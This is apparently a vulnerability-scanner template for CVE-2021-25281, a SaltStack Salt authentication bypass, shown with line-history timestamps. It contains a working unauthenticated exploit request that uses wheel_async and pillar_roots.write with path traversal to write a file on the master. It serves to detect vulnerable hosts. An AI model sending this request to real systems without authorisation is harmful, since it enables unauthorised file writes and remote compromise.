2021-02-26 09:02:30 +00:00
id : CVE-2021-25281
info :
2022-05-18 20:58:07 +00:00
name : SaltStack Salt <3002.5 - Auth Bypass
2021-02-26 09:02:30 +00:00
author : madrobot
severity : critical
2022-05-18 20:58:07 +00:00
description : SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.
2021-11-28 11:52:02 +00:00
reference :
- http://hackdig.com/02/hack-283902.htm
- https://dozer.nz/posts/saltapi-vulns
2022-05-18 20:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-25281
2022-05-17 09:18:12 +00:00
- https://github.com/saltstack/salt/releases
- https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-25281
cwe-id : CWE-287
2023-10-14 11:27:55 +00:00
epss-score : 0.84203
2023-11-03 10:59:12 +00:00
epss-percentile : 0.98129
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : saltstack
product : "salt"
tags : cve,cve2021,saltapi,rce,saltstack,unauth
2021-02-26 09:02:30 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-26 09:02:30 +00:00
- raw :
- |
POST /run HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
2021-02-26 12:42:25 +00:00
{"client" : "wheel_async" , "fun" : "pillar_roots.write" , "data" : "testing" , "path" : "../../../../../../../tmp/testing" , "username" : "1" , "password" : "1" , "eauth" : "pam" }
2021-02-26 09:02:30 +00:00
matchers-condition : and
matchers :
- type : word
2021-11-28 11:52:02 +00:00
part : body
2021-02-26 09:02:30 +00:00
words :
- "return"
- "tag"
- "jid"
- "salt"
- "wheel"
2021-02-26 12:25:38 +00:00
condition : and
2021-02-26 09:02:30 +00:00
- type : status
status :
- 200
2023-11-02 07:14:22 +00:00
# digest: 4a0a0047304502201b7a5a20d4b6028efdf98d7a9db29103d5c7139caaec4fce4a865afffa5713a3022100dcfdb35d04a8ef0dda5cd690324c5eb2a28af52efb853b26236cbe7d38ad9570:922c64590222798bb761d5b6d8e72950